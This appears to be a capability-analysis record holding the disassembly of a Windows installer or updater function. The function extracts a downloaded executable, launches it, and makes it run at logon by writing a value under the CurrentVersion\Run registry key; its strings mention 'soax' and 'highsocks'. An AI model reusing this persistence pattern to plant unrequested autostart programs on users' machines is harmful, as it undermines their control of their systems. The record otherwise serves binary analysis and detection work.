Function at 0x5aaf7c
Capabilities:
Persist via run registry key

Disassembly:
push 0x16c
mov eax, 0x654171
call fcn.006284bd
mov edi, ecx
lea eax, [ebp - 0xe8]
push eax
call fcn.005aaa99
push dword [edi + 0xb4]
lea eax, [ebp - 0xb8]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.005a9c67
push dword [edi + 0xb4]
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 1
push eax
call fcn.005a9c9a
add esp, 0x10
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 2
push eax
mov ecx, edi
call fcn.005aad8b
lea eax, [edi + 4]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.005aa266
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 4
push eax
call fcn.005b6ed9
add esp, 0x10
test al, al
jne 0x5ab033
push str.downloaded_arch_not_found
lea ecx, [ebp - 0x40]
mov byte [edi + 0x9a], 1
call fcn.00449380
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 5
push eax
mov ecx, edi
call fcn.005a8017
mov byte [ebp - 4], 6
jmp 0x5ab092
cmp dword [ebp - 0x48], 0
jne 0x5ab062
push str.no_setting:_dest_exe
lea ecx, [ebp - 0x40]
mov byte [edi + 0x9a], 1
call fcn.00449380
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 7
push eax
mov ecx, edi
call fcn.005a8017
mov byte [ebp - 4], 8
jmp 0x5ab092
cmp dword [ebp - 0xa8], 0
jne 0x5ab0b3
push str.no_setting:_dest_dir
lea ecx, [ebp - 0x40]
mov byte [edi + 0x9a], 1
call fcn.00449380
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 9
push eax
mov ecx, edi
call fcn.005a8017
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.005c238e
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
call fcn.00449330
lea ecx, [ebp - 0x40]
call fcn.00449330
jmp 0x5ab40a
lea ecx, [ebp - 0x178]
call fcn.005a18f8
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x178]
call fcn.005a4c75
jmp 0x5ab0e5
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x158], 0
jne 0x5ab0dd
cmp byte [ebp - 0x157], 0
je 0x5ab121
lea eax, [ebp - 0x28]
mov byte [edi + 0x9a], 1
push eax
mov ecx, edi
call fcn.005a8017
push eax
lea eax, [ebp - 0x154]
mov byte [ebp - 4], 0xc
push eax
call fcn.005c238e
pop ecx
pop ecx
jmp 0x5ab3f3
lea eax, [ebp - 0x58]
push eax
call fcn.005b6ed9
pop ecx
test al, al
jne 0x5ab172
push str.no_dest_exe_after_extract
lea ecx, [ebp - 0x40]
mov byte [edi + 0x9a], 1
call fcn.00449380
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0xd
push eax
mov ecx, edi
call fcn.005a8017
push eax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0xe
push eax
call fcn.005c238e
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
call fcn.00449330
lea ecx, [ebp - 0x40]
jmp 0x5ab3f6
cmp byte [edi + 0x1c], 0
mov esi, 0x6d7558
je 0x5ab2b9
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.005a8017
push str.soax
mov ecx, eax
call fcn.005a58fd
lea ecx, [ebp - 0x28]
mov bl, al
call fcn.00449330
lea ecx, [ebp - 0x28]
test bl, bl
je 0x5ab232
push str.highsocks
call fcn.00449380
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xf
call fcn.00449380
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.005a0eb7
push esi
push eax
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x11
push eax
call fcn.005a0e4e
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x40]
push eax
push reloc.WS2_32.dll_accept
call fcn.005b8bdf
add esp, 0x28
lea ecx, [ebp - 0x88]
call fcn.00449330
lea ecx, [ebp - 0x70]
call fcn.00449330
lea ecx, [ebp - 0x40]
call fcn.00449330
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00449330
jmp 0x5ab2b7
push str.SoftwareMicrosoftWindowsCurrentVersionRun
call fcn.00449380
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x13
push eax
lea eax, [ebp - 0x40]
push esi
push eax
call fcn.005a0eb7
push esi
push eax
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x14
push eax
call fcn.005a0e4e
add esp, 0x18
mov esi, eax
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0x15
push eax
mov ecx, edi
call fcn.005a8017
push esi
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x16
push eax
push reloc.WS2_32.dll_accept
call fcn.005b8bdf
add esp, 0x10
lea ecx, [ebp - 0x70]
call fcn.00449330
lea ecx, [ebp - 0x88]
call fcn.00449330
lea ecx, [ebp - 0x40]
call fcn.00449330
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00449330
mov esi, 0x6d7558
xor ebx, ebx
cmp byte [edi + 0x1d], 0
je 0x5ab2f4
lea eax, [ebp - 0x58]
push eax
call fcn.005bbe5e
pop ecx
test al, al
jne 0x5ab2f4
lea eax, [ebp - 0x70]
mov ecx, edi
push eax
call fcn.005a8017
push eax
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x17
push eax
call fcn.005bb492
pop ecx
pop ecx
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0xb
call fcn.00449330
mov ecx, edi
call fcn.005abe4e
test al, al
je 0x5ab39e
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.005a0eb7
push 0x65de60
push eax
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x18
push eax
call fcn.005a0e4e
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x19
push ecx
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.005a0e25
add esp, 0x24
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x1a
push ecx
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.005a5a1a
mov ecx, eax
call fcn.005a5e22
neg al
lea ecx, [ebp - 0x70]
sbb al, al
inc al
mov byte [edi + 0x9a], al
call fcn.00449330
lea ecx, [ebp - 0x88]
call fcn.00449330
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00449330
mov al, byte [edi + 0x9a]
test al, al
je 0x5ab3fd
call fcn.005d44d5
push dword [eax + 0x4c]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.005b907b
test eax, eax
pop ecx
sete al
mov byte [edi + 0x9a], al
pop ecx
test al, al
je 0x5ab3fd
push str.cant_launch_extracted_exe
lea ecx, [ebp - 0x28]
call fcn.00449380
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0x1b
push eax
mov ecx, edi
call fcn.005a8017
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x1c
push eax
call fcn.005c238e
pop ecx
pop ecx
lea ecx, [ebp - 0x70]
call fcn.00449330
lea ecx, [ebp - 0x28]
call fcn.00449330
jmp 0x5ab3ff
mov bl, 1
lea ecx, [ebp - 0x178]
call fcn.005a1d6e
lea ecx, [ebp - 0xd0]
call fcn.00449330
lea ecx, [ebp - 0xa0]
call fcn.00449330
lea ecx, [ebp - 0x58]
call fcn.00449330
lea ecx, [ebp - 0xb8]
call fcn.00449330
lea ecx, [ebp - 0xe8]
call fcn.00449330
mov al, bl
call fcn.0062846c
ret